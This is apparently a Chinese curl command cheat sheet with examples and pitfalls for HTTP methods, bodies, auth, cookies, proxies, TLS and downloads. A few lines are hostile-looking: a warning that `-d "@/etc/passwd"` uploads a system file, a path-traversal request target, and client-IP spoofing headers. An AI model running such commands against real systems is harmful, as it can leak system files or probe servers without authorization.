跳到主要内容

curl 命令速查:80+ 条覆盖 GET/POST/认证/上传/下载/SSL/代理

curl 命令速查,80+ 条覆盖 GET/POST/认证/上传/下载/SSL/代理,真实例子和常见坑。

  • 本地处理
  • 分类 开发运维
  • 适合 分享前检查文件类型、大小、元数据和明显不匹配信号。
162 条命令
基础 (14)
curl <url>

发一个普通 GET 请求,把响应体直接打到 stdout。

常见坑: 默认不跟 302/301 重定向,拿到的是那一小段重定向 HTML 就停了。真要最终内容要加 -L。

例子
curl https://example.com
curl http://localhost:3000/api/health
curl -X <METHOD> <url>

显式指定 HTTP 方法。一般 DELETE / PUT / PATCH / OPTIONS 才用得到。

常见坑: 光写 -X POST 一行 body 都没有。常见状态是 server 端拿到空 payload 看半天。要配 -d / -F / --data-raw 一起发。

例子
curl -X DELETE https://api.example.com/users/42
curl -X PUT -d '{"name":"Lei"}' -H "Content-Type: application/json" https://api.example.com/u/1
curl -i <url>

把响应头一起打出来(状态行 + headers + 空行 + body)。

例子
curl -i https://example.com
curl -i -X POST -d 'k=v' https://httpbin.org/post
curl -I <url>

发 HEAD 请求,只打响应头,不取 body。

常见坑: -I 强制 HEAD 方法。有些服务对 HEAD 和 GET 行为不一致(甚至 405)。想要“GET 但看 header”,用 -i。

例子
curl -I https://example.com
curl -I -L https://bit.ly/short  # see the whole redirect chain
curl -v <url>

详细模式,把请求行、请求头、响应头、TLS、SSL 证书链全打到 stderr。

常见坑: verbose 输出在 stderr,不在 stdout。要 grep 加 `2>&1`:`curl -v ... 2>&1 | grep -i set-cookie`。

例子
curl -v https://example.com
curl -v https://example.com 2>&1 | grep -E "^(>|<)"
curl -s <url>

静默模式,不打进度条和大部分错误信息。脚本里几乎必加。

常见坑: `-s` 会把真正的错误也吞了。配 `-S` 让错误还能看见:`curl -sS …`。不然 500 安静地返回空。

例子
curl -s https://api.example.com/health
curl -sS https://api.example.com/health | jq .
curl -o <file> <url>

把响应体写到 <file>,不打到屏幕(文件名你自己起)。

例子
curl -o page.html https://example.com
curl -o image.png https://example.com/img.png
curl -O <url>

用远端文件名保存(取 URL 路径最后一段)。

常见坑: 服务端 302 跳(/latest → /v1.2.3/foo.zip)会得到一个叫 "latest" 的文件。加 -L -J 让它按 Content-Disposition 命名。

例子
curl -O https://example.com/files/setup.dmg
curl -OL https://github.com/owner/repo/releases/latest/download/foo.zip
curl --output-dir <dir>

配合 -O / -o 把下载文件丢到指定目录(curl 7.73+)。

例子
curl --output-dir ./downloads -O https://example.com/foo.zip
curl --create-dirs --output-dir ./out/v1 -O https://example.com/foo.zip
curl --version

打印 curl 版本、编译进去的 TLS / SSH 后端,以及支持的协议和特性清单。

常见坑: 里面的 "Features:" 一行告诉你这个 build 有没有 HTTP2、HTTP3、brotli 等。某个 flag 报错先看这里,别先怪 flag。

例子
curl --version
curl --version | grep -i http2
curl -sS -f <url>

脚本里最稳的组合:-s 关进度条,-S 留真实错误,-f 让 curl 在 4xx/5xx 时直接非零退出,而不是把错误页打出来。

常见坑: -f 在出错时会把响应体也吞掉,错误 JSON 就看不到了。要既失败又保留 body 用 --fail-with-body(curl 7.76+)。

例子
curl -sSf https://api.example.com/health || echo down
curl -sS --fail-with-body https://api.example.com/x
curl -g "<url-with-brackets>"

关掉 URL 通配,让 URL 里字面的 [ ] { }(比如 IPv6 地址或查询参数)原样发送,不被当成通配区间。

常见坑: IPv6 地址 URL 如 http://[::1]:8080/ 要加 -g,不然 curl 会尝试展开方括号直接报错。

例子
curl -g "http://[::1]:8080/health"
curl -g "https://example.com/search?q=a[1]b"
curl --url <url>

用显式 flag 传目标 URL,而不是裸参数。在每行一个 flag 的配置文件里很方便。

例子
curl --url https://api.example.com/items -H "Accept: application/json"
curl --url https://example.com --output page.html
curl -# -O <url>

把默认逐行的进度信息换成一条移动的进度条。交互式下载时更好看。

例子
curl -# -O https://example.com/big.iso
curl --progress-bar -O https://example.com/file.zip
HTTP 方法 (11)
curl <url> # GET

curl 默认就是 GET,啥都不加就是它。日常 curl 一发用得最多的一条。

例子
curl https://api.github.com/users/torvalds
curl -s https://api.example.com/items?page=2 | jq .
curl -X POST -d <body> <url>

发 POST 带请求体。用 -d 时 Content-Type 默认是 application/x-www-form-urlencoded。

常见坑: 发 JSON 一定要带 `-H "Content-Type: application/json"`。不少 API 不带就 415,因为按表单解析了。

例子
curl -X POST -d "user=lei&pwd=123" https://api.example.com/login
curl -X POST -H "Content-Type: application/json" -d '{"q":"hi"}' https://api.example.com/chat
curl -X PUT -d <body> <url>

用提供的 body 替换 <url> 资源。常见的 REST update 接口。

例子
curl -X PUT -H "Content-Type: application/json" -d '{"name":"Lei","age":30}' https://api.example.com/users/1
curl -X PATCH -d <body> <url>

发部分更新。body 里只放要改的字段。

例子
curl -X PATCH -H "Content-Type: application/json" -d '{"name":"Lei"}' https://api.example.com/users/1
curl -X DELETE <url>

删除 <url> 上的资源。大部分 API 还要鉴权 header。

例子
curl -X DELETE -H "Authorization: Bearer $TOKEN" https://api.example.com/users/42
curl -X HEAD <url>

发 HEAD,和 -I 一样,只要 header 不取 body。只看元信息时比 GET 快。

常见坑: 想发 HEAD 直接用 `-I` 别用 `-X HEAD`,后者在某些服务上还会尝试读 body 卡住。`-I` 才是原生 HEAD。

例子
curl -I https://example.com/big.iso
curl -I https://example.com/big.iso | grep -i length
curl -X OPTIONS <url>

预检接口,看它允许哪些方法和 CORS header。

例子
curl -X OPTIONS -i -H "Origin: https://app.example.com" -H "Access-Control-Request-Method: POST" https://api.example.com/items
curl --request-target <path> <url>

独立于 URL 覆盖请求行里的 request-target。能发一些奇怪的目标,比如 OPTIONS 的裸 "*"。

例子
curl --request-target "*" -X OPTIONS https://example.com
curl --request-target "/admin/../etc" https://example.com
curl -X PROPFIND <url>

WebDAV 的 PROPFIND,列出 WebDAV 服务上的属性 / 目录内容。配 Depth header 用。

例子
curl -X PROPFIND -H "Depth: 1" -u user:pass https://dav.example.com/files/
curl -G --data-urlencode <kv> <url>

强制 GET,把 --data 字段 URL 编码后拼到 URL 查询串上,而不是当 POST body 发。

常见坑: 不加 -G 时 --data-urlencode 会触发 POST。-G 才能让你用 key=value 拼出一个安全编码的 GET 查询。

例子
curl -G --data-urlencode "q=hello world" --data-urlencode "lang=zh" https://example.com/search
curl -G -d "page=2" -d "limit=20" https://api.example.com/items
curl -X REPORT <url> # custom method

curl 会把你给 -X 的方法字符串原样发出去,包括 REPORT、PURGE、LINK 这种非标准方法。

例子
curl -X PURGE https://cdn.example.com/path/to/asset.js  # cache purge
curl -X REPORT -H "Content-Type: application/xml" -d @query.xml https://cal.example.com/
请求体 (12)
curl -d <data> <url>

发 POST 带 body。-d 自动隐含 POST,自动设 application/x-www-form-urlencoded,并去掉换行。

常见坑: -d 会把换行删掉。原样保留(发原始 JSON / 多行文本)用 --data-binary 或 --data-raw。

例子
curl -d "name=lei&job=dev" https://httpbin.org/post
curl -d '{"k":"v"}' -H "Content-Type: application/json" https://httpbin.org/post
curl --data-raw <data> <url>

和 -d 类似,但不做 @file 展开,开头的 @ 当成普通字符。

常见坑: `-d "@/etc/passwd"` 会把文件内容上传出去。要原样发送以 @ 开头的字符串用 --data-raw。

例子
curl --data-raw '@username=lei' https://httpbin.org/post
curl --data-binary @<file> <url>

把文件的原始字节作为 body 发出去。不删换行、不 URL 编码。

例子
curl --data-binary @payload.json -H "Content-Type: application/json" https://api.example.com/ingest
curl --data-binary @dump.sql -H "Content-Type: application/sql" https://db.example.com/exec
curl --data-urlencode <key=value> <url>

发送前把表单字段的 value 部分做 URL 编码。表单 body 带特殊字符最稳的写法。

常见坑: 只编码 `=` 后面那部分。`--data-urlencode "q=a b&c"` 变 `q=a%20b%26c`。两边都要编码用 @file 形式。

例子
curl --data-urlencode "q=hello world&lang=zh-CN" https://example.com/search
curl --data-urlencode "comment@/tmp/long.txt" https://example.com/post
curl -F <name=value> <url>

构造 multipart/form-data POST。每个 -F 加一个表单字段。要上传文件就 @file。

常见坑: 同一个请求里 -F 和 -d 混用是非法的。一次调用只能用一种 body 形式。

例子
curl -F "name=Lei" -F "avatar=@./me.png" https://api.example.com/upload
curl -F "file=@report.pdf;type=application/pdf" https://api.example.com/files
curl --form-string <name=value> <url>

和 -F 类似,但 value 永远是字面值,不会触发 @file 或 <file 那些特殊解释。

例子
curl --form-string "comment=@anchor is just text" https://api.example.com/post
curl -d @<file> <url>

从文件读取请求 body。会去掉换行(要保留用 --data-binary @)。

常见坑: 关键就是 `@`,`-d "/tmp/a.json"` 发的是这串字面路径,`-d "@/tmp/a.json"` 才是发文件内容。

例子
curl -d @payload.json -H "Content-Type: application/json" https://api.example.com/items
curl --data-binary @bigdump.bin https://api.example.com/upload
curl --json <data> <url>

发 JSON 的简写(curl 7.82+):自动把 Content-Type 和 Accept 都设成 application/json 并 POST 出去。等于 -d 加两个 -H。

常见坑: --json 不做 URL 编码,且隐含 POST。重复 --json 会把片段拼接,所以可以把 body 拆到多个 flag 或用 @file 读。

例子
curl --json '{"q":"hi"}' https://api.example.com/chat
curl --json @payload.json https://api.example.com/ingest
curl -F "data=@<file>;type=<mime>;filename=<name>" <url>

带显式 MIME 类型和自定义文件名的 multipart 上传,覆盖服务端本来会看到的磁盘文件名。

例子
curl -F "data=@/tmp/x.bin;type=application/json;filename=backup.json" https://api.example.com/files
curl -F "field=<<file>" <url>

一个 multipart 字段,它的 value 从文件读取(`<` 形式),但作为普通文本字段发送,而不是文件上传附件。

常见坑: `@file` 作为文件部分上传(带文件名和二进制)。`<file` 把文件内容内联成该字段的文本值。在 wire 上是两种不同的部分。

例子
curl -F "comment=<note.txt" https://api.example.com/post
curl --data-urlencode "@<file>" <url>

把整个文件内容 URL 编码后作为 body 发送。和 `key@file` 不同,前面不加字段名。

常见坑: `--data-urlencode "name@file"` 把文件编码成 name 的值。`--data-urlencode "@file"` 编码文件但完全不带 key。

例子
curl --data-urlencode "@message.txt" https://example.com/post
curl -d "" <url> # empty POST

发一个空(零长度)body 的 POST。有些 API 要求显式发空 POST 才触发动作。

常见坑: 这才是“什么都不发的 POST”的正确写法。和光写 -X POST 不同,`-d ""` 会把 POST 方法和 Content-Length: 0 一起设上。

例子
curl -d "" https://api.example.com/jobs/42/retry
curl -d "" -H "Authorization: Bearer $TOKEN" https://api.example.com/refresh
Header (11)
curl -H <header> <url>

加一个自定义请求 header。多个 header 就重复 -H。

常见坑: 空值 header:`-H "X-Foo:"`(只一个冒号)是“删掉 curl 本来要发的这个 header”。要发空值用 `-H "X-Foo;"`。

例子
curl -H "Content-Type: application/json" -d '{}' https://api.example.com/x
curl -H "X-API-Key: $KEY" -H "Accept: application/json" https://api.example.com/x
curl -A <user-agent> <url>

设 User-Agent。有些站会把默认的 `curl/8.x` UA 403。

例子
curl -A "Mozilla/5.0" https://example.com
curl -A "MyBot/1.0 (+https://my.site)" https://api.example.com
curl -e <referer> <url>

设 Referer header。接口防盗链或 CSRF 校验 Referer 时有用。

例子
curl -e "https://example.com/page" https://example.com/api/x
curl -e ";auto" -L https://example.com/redirect-chain
curl -H "Accept: application/json" <url>

告诉服务端你要 JSON。很多 API 会根据这个 header 切响应格式。

例子
curl -H "Accept: application/json" https://api.github.com/repos/cli/cli
curl -H "Accept: application/vnd.api+json" https://api.example.com/items
curl -H "Accept-Encoding: gzip" --compressed <url>

`--compressed` 既告诉服务端支持 gzip/deflate/br,又会把响应自动解压。

常见坑: 不加 --compressed,服务端可能照样返回 gzip,curl 打的是裸压缩字节,终端看就是一堆乱码。

例子
curl --compressed https://api.example.com/large.json | jq .
curl -H "Accept-Encoding: br" --compressed https://example.com
curl -H "X-Forwarded-For: 1.2.3.4" <url>

伪造客户端 IP header,调 CDN / WAF / 按 IP 限流时常用。

例子
curl -H "X-Forwarded-For: 203.0.113.1" https://api.example.com/whoami
curl -H "X-Real-IP: 10.0.0.5" https://app.example.com/ip
curl -H "Content-Type: application/json" -d <json> <url>

在 --json 出现之前发 JSON POST 的标准写法:显式声明 body 类型,让服务端按 JSON 解析而不是表单。

例子
curl -H "Content-Type: application/json" -d '{"name":"Lei"}' https://api.example.com/u
curl -H "Content-Type: application/json" -d @body.json https://api.example.com/ingest
curl -H "If-None-Match: <etag>" <url>

按 ETag 做条件 GET。资源还匹配该 ETag 时服务端返回 304 Not Modified(空 body)。

常见坑: ETag 是带引号的字符串,引号要保留:`If-None-Match: "abc123"`。弱 ETag 带 W/ 前缀。

例子
curl -i -H 'If-None-Match: "abc123"' https://example.com/api/items
curl -i -H 'If-Modified-Since: Wed, 21 Oct 2026 07:28:00 GMT' https://example.com/x
curl -H "Range: bytes=0-1023" <url>

用 Range header 只请求一段字节(等同 -r 的显式 header 写法)。服务端回 206 Partial Content。

例子
curl -i -H "Range: bytes=0-1023" https://example.com/big.iso
curl -H "Range: bytes=500-999" -o chunk.bin https://example.com/file
curl -H "Host: <vhost>" --resolve ... <url>

覆盖 Host header 来测服务器上某个虚拟主机,同时用 --resolve 把 IP 钉住。

常见坑: HTTPS 下 TLS SNI 取自 URL 的 hostname,不是 Host header。要连 SNI 一起覆盖用 --connect-to,或把真实名字放进 URL。

例子
curl -H "Host: staging.example.com" --resolve staging.example.com:443:10.0.0.5 https://staging.example.com/
curl -H "Authorization:" <url>

一个有名字加冒号但没值的 header,会删掉 curl 本来要自动加的某个 header(比如 -u 生成的 Authorization)。

常见坑: 三种写法:`X-Foo: bar` 是设值,`X-Foo:`(只冒号)是删除,`X-Foo;`(分号)是发空值。

例子
curl -H "User-Agent:" https://example.com  # send no UA at all
curl -H "Accept:" https://example.com  # drop the default Accept
认证 (12)
curl -u <user>:<pass> <url>

HTTP Basic 认证,自动加 Authorization: Basic header,值是 base64(user:pass)。

常见坑: HTTP 明文上的 Basic auth 是明传密码(base64 不是加密)。只在 HTTPS 上用。

例子
curl -u admin:secret https://api.example.com/private
curl -u "$USER" https://api.example.com  # prompts for password
curl -H "Authorization: Bearer <token>" <url>

OAuth 2 / JWT bearer token 认证,现代 API 鉴权的标准做法。

常见坑: 命令行写 token 会进 shell 历史。用 `-H "Authorization: Bearer $TOKEN"` 把 TOKEN 放环境变量里。

例子
curl -H "Authorization: Bearer $GITHUB_TOKEN" https://api.github.com/user
curl -H "Authorization: Bearer eyJhbGciOi..." https://api.example.com/me
curl --digest -u <user>:<pass> <url>

HTTP Digest 认证,挑战响应模式,密码不明传,比 Basic 安全。

例子
curl --digest -u admin:secret https://intranet.example.com/api
curl --digest -u admin https://router.local/cgi-bin/config
curl --ntlm -u <user>:<pass> <url>

Windows NTLM 认证,老的 IIS / SharePoint / Exchange 接口才用。

常见坑: NTLM 是有状态长连接,不确定服务端要哪种用 --anyauth 自动协商。

例子
curl --ntlm -u "DOMAIN\user:pass" https://intranet.example.com/sharepoint
curl --anyauth -u <user>:<pass> <url>

让 curl 自己挑服务端支持的最强认证方式(Basic / Digest / NTLM / Negotiate)。

例子
curl --anyauth -u admin:secret https://intranet.example.com/api
curl --negotiate -u : <url>

GSS-API / Kerberos / SPNEGO 认证,`-u :` 表示用 kinit 当前的票据。

例子
kinit lei@CORP.EXAMPLE.COM
curl --negotiate -u : https://intranet.corp.example.com/api
curl --aws-sigv4 <provider> -u <key>:<secret> <url>

用 AWS SigV4 签请求,不装 SDK 也能直接调 S3 / DynamoDB / 任意 AWS API。

例子
curl --aws-sigv4 "aws:amz:us-east-1:s3" -u "$AWS_KEY:$AWS_SECRET" https://my-bucket.s3.us-east-1.amazonaws.com/key.txt
curl --oauth2-bearer <token> <url>

OAuth 2 bearer token 的专用 flag。等价于 `-H "Authorization: Bearer <token>"`,但脚本里更清爽。

例子
curl --oauth2-bearer "$TOKEN" https://api.example.com/me
curl --oauth2-bearer "$GITHUB_TOKEN" https://api.github.com/user
curl -u <user>:<pass> --basic <url>

显式强制 HTTP Basic 认证(这本来就是 -u 的默认)。用来覆盖某个配置里设的别的认证方式。

例子
curl --basic -u admin:secret https://api.example.com/private
curl -u "<user>:" <url> # prompt for password

只给用户名,curl 会交互式提示输密码,密码就不会进 shell 历史或进程列表。

常见坑: 注意结尾那个冒号。`-u user`(无冒号)会提示输密码;`-u user:`(带冒号)是空密码且不提示。

例子
curl -u admin https://api.example.com/private  # prompts
curl -H "Authorization: token <pat>" <url> # GitHub PAT

GitHub 早期接受 `Authorization: token <PAT>` 这种个人访问令牌写法。现在的 GitHub 也接受标准的 Bearer 方案。

例子
curl -H "Authorization: token $GH_PAT" https://api.github.com/user/repos
curl -H "Authorization: Bearer $GH_PAT" https://api.github.com/user
curl --netrc <url>

从 ~/.netrc 按 hostname 读取凭证,用户名密码完全不出现在命令行里。

常见坑: ~/.netrc 要 chmod 600,否则 curl 出于安全会忽略它。自定义路径用 --netrc-file。

例子
curl --netrc https://api.example.com/private
curl --netrc-file ./ci.netrc https://api.example.com/x
Cookie (7)
curl -b <name=value> <url>

发 cookie。一个 -b 里多 cookie 用 `; ` 分隔,或者多次 -b。

例子
curl -b "session=abc123" https://example.com/me
curl -b "lang=zh; theme=dark" https://example.com/
curl -c <file> <url>

把所有收到的 cookie 写入 <file>(Netscape cookie-jar 格式)。后续请求用 -b 读回来。

常见坑: jar 每次运行都会重写,只包含本次响应的 cookie。要读 + 写更新就 `-b file -c file` 同时用。

例子
curl -c cookies.txt -d "u=lei&p=x" https://example.com/login
curl -b cookies.txt -c cookies.txt https://example.com/page2
curl -b <file> -c <file> <url>

读已有 cookie 再把更新的写回同一个 jar,模拟浏览器完整会话。

例子
curl -b jar.txt -c jar.txt -L https://example.com/login
curl -b jar.txt -c jar.txt https://example.com/dashboard
curl --cookie-jar <file> <url>

-c 的长写法。把响应里的 Set-Cookie 持久化到 <file>。

例子
curl --cookie-jar session.jar -d "u=lei" https://example.com/login
curl -b "<name=value>" -b "<name2=value2>" <url>

重复 -b 发多个 cookie。curl 会把它们合并进一个 Cookie 请求头。

例子
curl -b "session=abc" -b "csrf=xyz" https://example.com/dashboard
curl --junk-session-cookies -b <file> <url>

加载 cookie jar 但丢掉会话 cookie(没有过期时间那些),模拟开一个全新浏览器会话。

例子
curl --junk-session-cookies -b jar.txt https://example.com/
curl -c - <url> # cookies to stdout

把收到的 cookie jar 写到 stdout(`-` 文件名),不落盘就能查看 Set-Cookie 结果。

例子
curl -s -c - -d "u=lei&p=x" https://example.com/login | grep session
重定向 (6)
curl -L <url>

跟随 HTTP 3xx 跳转到最终 URL。不加 -L 只拿到那一小段重定向 body 就停了。

常见坑: -L 默认不会把 Authorization / Cookie 转发到不同 host。要转发用 --location-trusted(谨慎用)。

例子
curl -L https://bit.ly/short-url
curl -LI https://github.com/cli/cli/releases/latest  # see the full chain
curl -L --max-redirs <n> <url>

限制 curl 最多跟几跳。默认 50,0 是禁,-1 是不限。

例子
curl -L --max-redirs 5 https://example.com/a
curl -L --max-redirs 0 https://example.com/x  # error if any redirect
curl --location-trusted <url>

类似 -L,但跳到不同 host 时也照样把 Authorization 转发过去。

常见坑: `-L` 默认丢 Authorization 就是为了防止把凭证发给攻击者控制的跳转目标。只在你完全信任跳转链时才用 --location-trusted。

例子
curl --location-trusted -u admin:secret https://intranet/api/redirect
curl -L --post301 --post302 --post303 <url>

跨重定向时保留原始方法和 body,不让 curl 在 301/302/303 上把 POST 降级成 GET。

常见坑: 按 RFC,很多客户端在 301/302 上会把 POST 变 GET。这几个 flag 强制 curl 重新 POST。308 / 307 按规范本来就保留方法。

例子
curl -L --post302 -d "k=v" https://example.com/submit
curl -w "%{url_effective}\n" -L -o /dev/null -s <url>

打印跟完所有跳转后的最终 URL,且不下载 body。解析短链接很好用。

例子
curl -w "%{url_effective}\n" -L -o /dev/null -s https://bit.ly/short
curl -Ls -o /dev/null -w "%{url_effective}\n" https://t.co/abc
curl -L --proto-redir =https <url>

限制 curl 跟随重定向能跳到哪些协议。`=https` 表示只跟随仍是 HTTPS 的跳转,拒绝降级到 HTTP。

常见坑: https 跳 http 的 302 会让你的请求悄悄走明文。--proto-redir =https 能挡住这种降级攻击。

例子
curl -L --proto-redir =https https://example.com/go
超时与重试 (9)
curl --connect-timeout <sec> <url>

TCP / TLS 握手允许的最长秒数。不限制整次传输总时间。

常见坑: connect-timeout 只防连不上,慢响应的服务还能挂几小时。要和 --max-time 一起用。

例子
curl --connect-timeout 5 https://api.example.com/health
curl --connect-timeout 3 --max-time 10 https://api.example.com
curl --max-time <sec> <url>

限制整次操作总时长。硬停,连接加传输总和。

例子
curl --max-time 30 https://example.com/large.zip
curl --max-time 5 -s https://api.example.com/probe
curl --retry <n> <url>

遇到瞬时错误(5xx、断连、超时)最多重试 <n> 次。

常见坑: 默认退避 1s 倍增。固定退避用 --retry-delay <s>,最长总等待 --retry-max-time 卡死。

例子
curl --retry 5 --retry-delay 2 https://flaky.example.com/api
curl --retry 3 --retry-all-errors --retry-max-time 60 https://example.com
curl --retry-all-errors <url>

任何错误都重试(不只是 5xx/超时)。curl 7.71+。配 --retry 用。

例子
curl --retry 5 --retry-all-errors https://example.com/api
curl --keepalive-time <sec> <url>

每 <sec> 秒发一次 TCP keepalive。帮长连接穿过 NAT / 防火墙不被掐。

例子
curl --keepalive-time 30 https://stream.example.com/events
curl --max-time <sec> --retry <n> --retry-delay <sec> <url>

把每次尝试的硬超时和固定延迟重试组合起来,CI 里对付不稳定上游的稳妥写法。

常见坑: --max-time 限制的是每次尝试,不是总和。要给所有重试的总时长封顶,再加 --retry-max-time。

例子
curl --max-time 10 --retry 3 --retry-delay 2 --retry-max-time 40 https://flaky.example.com/api
curl --expect100-timeout <sec> <url>

curl 在直接发 body 前,等 100-continue 响应的最长秒数。慢服务器卡住大 PUT/POST 上传时可调。

常见坑: curl 对大 body 会自动加 `Expect: 100-continue`。服务端不理它的话,curl 会等这个超时(默认 1s)再硬发。

例子
curl --expect100-timeout 0.5 -T big.bin https://api.example.com/upload
curl -H "Expect:" -T big.bin https://api.example.com/upload  # disable Expect
curl --retry-connrefused <url>

把 "connection refused" 也算进重试,单独的 --retry 默认不把它当瞬时错误。curl 7.52+。

例子
curl --retry 10 --retry-delay 1 --retry-connrefused http://localhost:8080/health  # wait for a starting server
curl --speed-limit <bytes> --speed-time <sec> <url>

当传输速率持续低于 <bytes>/s 达 <sec> 秒就中止。能干掉那些 --max-time 还会任由它拖着的真卡死连接。

例子
curl --speed-limit 1024 --speed-time 30 -O https://example.com/big.iso
代理 (9)
curl -x <proxy> <url>

走 HTTP 代理发请求。格式:[scheme://]host[:port]。

常见坑: HTTPS 目标走代理是 CONNECT 隧道,确认代理允许。即便目标是 HTTPS,代理 URL 一般写 http://proxy 即可。

例子
curl -x http://proxy.corp:8080 https://api.example.com
curl -x http://127.0.0.1:7890 https://www.google.com
curl --proxy-user <u>:<p> -x <proxy> <url>

用 Basic auth 给上游 HTTP 代理鉴权。

例子
curl --proxy-user lei:secret -x http://proxy.corp:8080 https://api.example.com
curl --socks5 <host>:<port> <url>

走 SOCKS5 代理。DNS 在本地解析,远端解析用 --socks5-hostname。

常见坑: `--socks5` 会让 DNS 走本地解析器,存在 DNS 泄露。为隐私(如 Tor)几乎都要用 `--socks5-hostname`。

例子
curl --socks5 127.0.0.1:1080 https://example.com
curl --socks5-hostname 127.0.0.1:9050 https://check.torproject.org
curl --noproxy <list> <url>

逗号分隔的不走代理的 host 列表。`*` 表示全部都不走(等于关代理)。

例子
curl -x http://proxy:8080 --noproxy "localhost,127.0.0.1,.internal" https://api.internal/x
curl --noproxy "*" https://api.example.com
curl --proxy-insecure -x <proxy> <url>

允许连到证书不受信 / 自签的 HTTPS 代理。类似 -k 但作用在代理那一跳。

例子
curl --proxy-insecure -x https://proxy.lab:8443 https://api.example.com
curl --socks5-hostname <host>:<port> <url>

走 SOCKS5 并在代理端解析 DNS,而不是本地。Tor 等隐私场景的正确选择。

常见坑: 纯 --socks5 会让 DNS 走本地解析器泄露出去。--socks5-hostname 让 hostname 对本地网络保密。

例子
curl --socks5-hostname 127.0.0.1:9050 https://check.torproject.org/api/ip
curl --preproxy <socks-proxy> -x <http-proxy> <url>

代理串联:先过一个 SOCKS 预代理,再过 HTTP 代理,最后到目标。curl 7.52+。

例子
curl --preproxy socks5://127.0.0.1:1080 -x http://corp-proxy:8080 https://api.example.com
curl --connect-to <h1>:<p1>:<h2>:<p2> <url>

把本要发往 host1:port1 的连接改投到 host2:port2,同时保留 URL 原本的 Host header 和 TLS SNI。

常见坑: 和只钉 IP 的 --resolve 不同,--connect-to 还能改端口,很适合通过隧道做测试。

例子
curl --connect-to example.com:443:localhost:8443 https://example.com/
curl -x "$HTTPS_PROXY" <url> # honor env proxy

curl 本来就会自动读 http_proxy / https_proxy / all_proxy 环境变量。写 -x 只是让意图显式或覆盖它们。

常见坑: 环境代理变量名按惯例是小写。NO_PROXY(或 --noproxy)控制哪些 host 绕过代理。

例子
export https_proxy=http://127.0.0.1:7890; curl https://api.example.com
curl -x "" https://api.internal/x  # ignore env proxy for this call
SSL / TLS (12)
curl -k <url>

不安全模式,跳过 SSL 证书校验。测自签证书时用。

常见坑: 生产脚本绝对别用 -k。等于关掉 TLS,MITM 静默截获你都不知道。用 --cacert 固定 CA 才对。

例子
curl -k https://localhost:8443/health
curl -k -v https://self-signed.example.com
curl --cacert <file> <url>

用指定的 CA bundle(PEM)校验服务证书。不用 -k 也能信任私有 CA。

例子
curl --cacert /etc/ssl/private-ca.pem https://intranet.example.com
curl --cacert ./ca.crt https://localhost:8443
curl --cert <file> --key <file> <url>

双向 TLS(mTLS),客户端提供 cert + key。零信任内网 API 常用。

常见坑: 客户端 key 有密码会弹提示。非 PEM 格式用 --key-type 指定。

例子
curl --cert client.pem --key client.key https://mtls.example.com/api
curl --cert client.p12 --cert-type P12 https://mtls.example.com/api
curl --tlsv1.3 <url>

强制最低 TLS 1.3。要 1.2 最低用 --tlsv1.2。上限用 --tls-max 控制。

例子
curl --tlsv1.3 https://example.com
curl --tlsv1.2 --tls-max 1.2 https://legacy.example.com
curl --resolve <host>:<port>:<addr> <url>

本次请求把 hostname 绑到指定 IP。完全跳过 DNS。

常见坑: DNS 切换前测新服务、定向击穿 LB 后端节点都适用。SNI 取 URL 的 hostname,不是 IP。

例子
curl --resolve example.com:443:1.2.3.4 https://example.com
curl --resolve api.example.com:443:10.0.0.5 https://api.example.com/health
curl --cert-status <url>

通过 OCSP stapling 校验服务证书。没装好 OCSP 响应直接连接失败。

例子
curl --cert-status https://example.com
curl --pinnedpubkey "sha256//<base64>" <url>

公钥固定:只有服务端证书的公钥匹配给定的 SHA-256 哈希才连接。能挡住一张合法但流氓 CA 签发的证书。

常见坑: 算哈希用:`openssl x509 -pubkey | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl base64`。

例子
curl --pinnedpubkey "sha256//base64hash==" https://example.com
curl --ciphers <list> <url>

限制 curl 提供的 TLS 加密套件。连只支持老 cipher 的旧服务,或测某个具体套件时要用。

常见坑: TLS 1.3 套件用单独的 --tls13-ciphers。`--ciphers DEFAULT@SECLEVEL=1` 放宽 OpenSSL 的安全等级以连老服务。

例子
curl --ciphers ECDHE-RSA-AES128-GCM-SHA256 https://example.com
curl --ciphers DEFAULT@SECLEVEL=1 https://legacy.example.com
curl --capath <dir> <url>

用一个装着按哈希命名的 CA 证书目录(OpenSSL c_rehash 布局)来校验,而不是单个 bundle 文件。

例子
curl --capath /etc/ssl/certs https://example.com
curl --tlsv1.2 --tls-max 1.2 <url>

把协商钉死在 TLS 1.2(最低 1.2 加最高 1.2)。用来复现只走 1.2 的握手,或绕开有问题的 1.3 路径。

例子
curl --tlsv1.2 --tls-max 1.2 https://legacy.example.com
curl --key-type <PEM|DER|ENG> --key <file> --cert <file> <url>

做 mTLS 时告诉 curl 客户端私钥的格式,当它不是 PEM 时(比如 DER,或引擎后端的 key)。

例子
curl --cert client.pem --key client.der --key-type DER https://mtls.example.com
curl --insecure --proto "=https" <url>

当你不得不用 -k 接受自签证书时,再把协议锁成 HTTPS,防止某个跳转悄悄把你推到明文。

常见坑: -k 已经削弱了 TLS;配 --proto "=https" 至少保证本次调用的传输还是加密的。

例子
curl -k --proto "=https" https://localhost:8443/health
下载 (12)
curl -OJ <url>

-O + -J:用 Content-Disposition 里的文件名保存,不用从 URL 猜。

常见坑: -J 模式下 curl 不会覆盖已有同名文件。要么先删,要么改用 -o 指定。

例子
curl -OJ -L https://example.com/dynamic-download?id=42
curl -OJ -L https://api.example.com/reports/2026-05-26.csv
curl -r <start>-<end> <url>

范围请求,只取 <start> 到 <end> 字节。服务端要支持 Accept-Ranges。

例子
curl -r 0-1023 -o head.bin https://example.com/big.iso
curl -r -1024 -o tail.bin https://example.com/big.iso  # last 1KB
curl -C - -O <url>

从断点续传一个没下完的文件。`-C -` 让 curl 自动检测断点位置。

常见坑: 只在服务端支持 Range 时管用。不支持就从头下。

例子
curl -C - -O https://example.com/ubuntu.iso
curl -C - -o partial.zip https://example.com/archive.zip
curl --limit-rate <speed> <url>

限速下载 / 上传。带 k、m、g 后缀(如 500k = 500 KB/s)。

例子
curl --limit-rate 200k -O https://example.com/big.iso
curl --limit-rate 1M -O https://example.com/file.zip
curl --parallel --remote-name-all <url1> <url2> …

并行下载多个 URL(curl 7.66+)。--parallel-max 设并发数。

例子
curl --parallel --remote-name-all https://example.com/a.zip https://example.com/b.zip
curl --parallel --parallel-max 5 --remote-name-all https://example.com/file[1-20].zip
curl <url>[1-100]

URL 通配,一次拉一个数字或字母区间。配 -O 或 --remote-name-all 用。

例子
curl -O "https://example.com/img-[1-10].jpg"
curl -O "https://example.com/{us,eu,asia}/data.csv"
curl -z <date|file> <url>

条件 GET,只在远端比本地日期 / 本地文件新时下载(If-Modified-Since)。

例子
curl -z "2026-01-01" -o data.json https://example.com/data.json
